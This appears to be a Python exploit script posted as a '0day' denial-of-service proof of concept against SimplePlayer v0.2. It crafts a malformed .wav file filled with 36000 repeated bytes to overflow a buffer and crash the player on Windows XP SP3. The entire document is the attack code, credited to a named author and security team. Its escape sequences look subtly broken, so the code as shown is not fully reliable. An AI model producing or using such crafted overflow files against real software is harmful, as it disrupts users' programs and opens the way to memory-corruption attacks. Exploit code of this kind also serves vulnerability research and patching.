#!/usr/bin/python # # Title: SimplePlayer v0.2 0day (.wav) overflow DOS Exploit # Found by: mr_me (seeleymagic [at] hotmail [dot] com) # Greetz to: Corelan Security Team::corelanc0d3r/EdiStrosar/Rick2600/MarkoT # Tested on: Windows XP SP3 # Happy New Year! # # POC: crash = ("x41" * 36000); # overwrite the buffer at 262 bytes try: file = open('mr_me_dos.wav','w'); file.write(crash); file.close(); print "[+] Created mr_me_dos.wav file" except: print "[-] Error cant write file to systemn";